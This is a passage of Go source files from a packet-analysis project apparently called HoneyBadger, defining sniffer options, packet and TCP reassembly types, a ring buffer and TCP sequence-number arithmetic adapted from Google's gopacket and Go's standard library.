WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package types import ( "bytes" "encoding/hex" "fmt" "time" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) type SnifferDriverOptions struct { DAQ string Filename string Device string Snaplen int32 WireDuration time.Duration Filter string } // PacketDataSource is an interface for some source of packet data. type PacketDataSourceCloser interface { // ReadPacketData returns the next packet available from this data source. // It returns: // data: The bytes of an individual packet. // ci: Metadata about the capture // err: An error encountered while reading packet data. If err != nil, // then data/ci will be ignored. ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) // Close closes the ethernet sniffer and returns nil if no error was found. Close() error } type Supervisor interface { Stopped() Run() } type PacketSource interface { Start() Stop() SetSupervisor(Supervisor) GetStartedChan() chan bool // used for unit tests } // PacketManifest is used to send parsed packets via channels to other goroutines type PacketManifest struct { Timestamp time.Time Flow *TcpIpFlow RawPacket []byte Ethernet *layers.Ethernet IPv4 *layers.IPv4 IPv6 *layers.IPv6 TCP *layers.TCP Payload gopacket.Payload } func (p PacketManifest) String() string { var buffer bytes.Buffer buffer.WriteString(fmt.Sprintf("TCP Flow: %s\n", *p.Flow)) buffer.WriteString(fmt.Sprintf("TCP Sequence %d\n", p.TCP.Seq)) buffer.WriteString("Packet payload hex dump:\n") buffer.WriteString(hex.Dump(p.Payload)) return buffer.String() } ================================================ FILE: types/reassembly.go ================================================ /* * I include google's license because this code is copy-pasted and refactored * from the original, Google's gopacket.tcpassembly... * Thanks to Graeme Connel for writing tcpassembly! */ // Copyright 2012 Google, Inc. All rights reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the LICENSE_BSD file in the root of the source // tree. package types import ( "fmt" "time" ) // Reassembly is used to represent a TCP segment type Reassembly struct { // Seq is the TCP sequence number for this segment Seq Sequence // Bytes is the next set of bytes in the stream. May be empty. Bytes []byte // Skip is set to non-zero if bytes were skipped between this and the // last Reassembly. If this is the first packet in a connection and we // didn't see the start, we have no idea how many bytes we skipped, so // we set it to -1. Otherwise, it's set to the number of bytes skipped. Skip int // Start is set if this set of bytes has a TCP SYN accompanying it. Start bool // End is set if this set of bytes has a TCP FIN or RST accompanying it. End bool // IsOrderCoalesce is set if this stream segment was originally received // out of order and the later coalesced into the stream. IsCoalesce bool // IsCoalesceGap is set if this stream segment was the catalyzing segment // for triggering the coalescing of latent out-of-order packets. IsCoalesceGap bool // Seen is the timestamp this set of bytes was pulled off the wire. Seen time.Time } // String returns a string representation of Reassembly func (r Reassembly) String() string { return fmt.Sprintf("Reassembly: Seq %d Bytes len %d Skip %d Start %v End %v Seen %s", r.Seq, len(r.Bytes), r.Skip, r.Start, r.End, r.Seen) } ================================================ FILE: types/ring.go ================================================ // Modified from Google's original container ring; // Here the goal is to use the ring with our Reassembly type // and remove any need for type assertions; // thus we simplify our code making it easier to reason about. // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Honeybadger types package package types // A Ring is an element of a circular list, or ring. // Rings do not have a beginning or end; a pointer to any ring element // serves as reference to the entire ring. Empty rings are represented // as nil Ring pointers. type Ring struct { next, prev *Ring Reassembly *Reassembly } func (r *Ring) init() *Ring { r.next = r r.prev = r return r } // Next returns the next ring element. r must not be empty. func (r *Ring) Next() *Ring { return r.next } // Prev returns the previous ring element. r must not be empty. func (r *Ring) Prev() *Ring { return r.prev } // NewRing creates a ring of n elements. func NewRing(n int) *Ring { if n <= 0 { return nil } r := new(Ring) p := r for i := 1; i < n; i++ { p.next = &Ring{prev: p} p = p.next } p.next = r r.prev = p return r } // Len computes the number of elements in ring r. // It executes in time proportional to the number of elements. func (r *Ring) Len() int { n := 0 if r != nil { n = 1 for p := r.Next(); p != r; p = p.next { n++ } } return n } // Count computes the number of none nil Reassembly structs populating the ring func (r *Ring) Count() int { count := 0 for current := r; current != r.Next(); current = current.Prev() { if current.Reassembly != nil { count += 1 } else { break } } return count } ================================================ FILE: types/sequence.go ================================================ /* sequence.go - this here file is composed of source code directly from gopacket.tcpassembly... included here for use with HoneyBadger. */ package types // Copyright 2012 Google, Inc. All rights reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the LICENSE file in the root of the source // tree. const ( InvalidSequence Sequence = Sequence(-1) uint32Max = 0xFFFFFFFF ) // Sequence is a TCP sequence number. It provides a few convenience functions // for handling TCP wrap-around. The sequence should always be in the range // [0,0xFFFFFFFF]... its other bits are simply used in wrap-around calculations // and should never be set. type Sequence int64 // Difference defines an ordering for comparing TCP sequences that's safe for // roll-overs. It returns: // > 0 : if t comes after s // < 0 : if t comes before s // 0 : if t == s // The number returned is the sequence difference, so 4.Difference(8) will // return 4. // // It handles rollovers by considering any sequence in the first quarter of the // uint32 space to be after any sequence in the last quarter of that space, thus // wrapping the uint32 space. func (s Sequence) Difference(t Sequence) int { if s > uint32Max-uint32Max/4 && t < uint32Max/4 { t += uint32Max } else if t > uint32Max-uint32Max/4 && s < uint32Max/4 { s += uint32Max } return int(t - s) } // LessThan returns true if s < t func (s Sequence) LessThan(t Sequence) bool { return s.Difference(t) > 0 } // LessThanOrEqual returns true if s <= t func (s Sequence) LessThanOrEqual(t Sequence) bool { return s.Difference(t) >= 0 } // Equals returns true if s == t func (s Sequence) Equals(t Sequence) bool { return s.Difference(t) == 0 } // GreaterThan returns true if s > t func (s Sequence) GreaterThan(t Sequence) bool { return s.Difference(t) < 0 } // GreaterThanOrEqual returns true if s >= t func (s Sequence) GreaterThanOrEqual(t Sequence) bool { return s.Difference(t) <= 0 } // Add adds an integer to a sequence and returns the resulting sequence. func (s Sequence) Add(t int) Sequence { return (s + Sequence(t)) & uint32Max }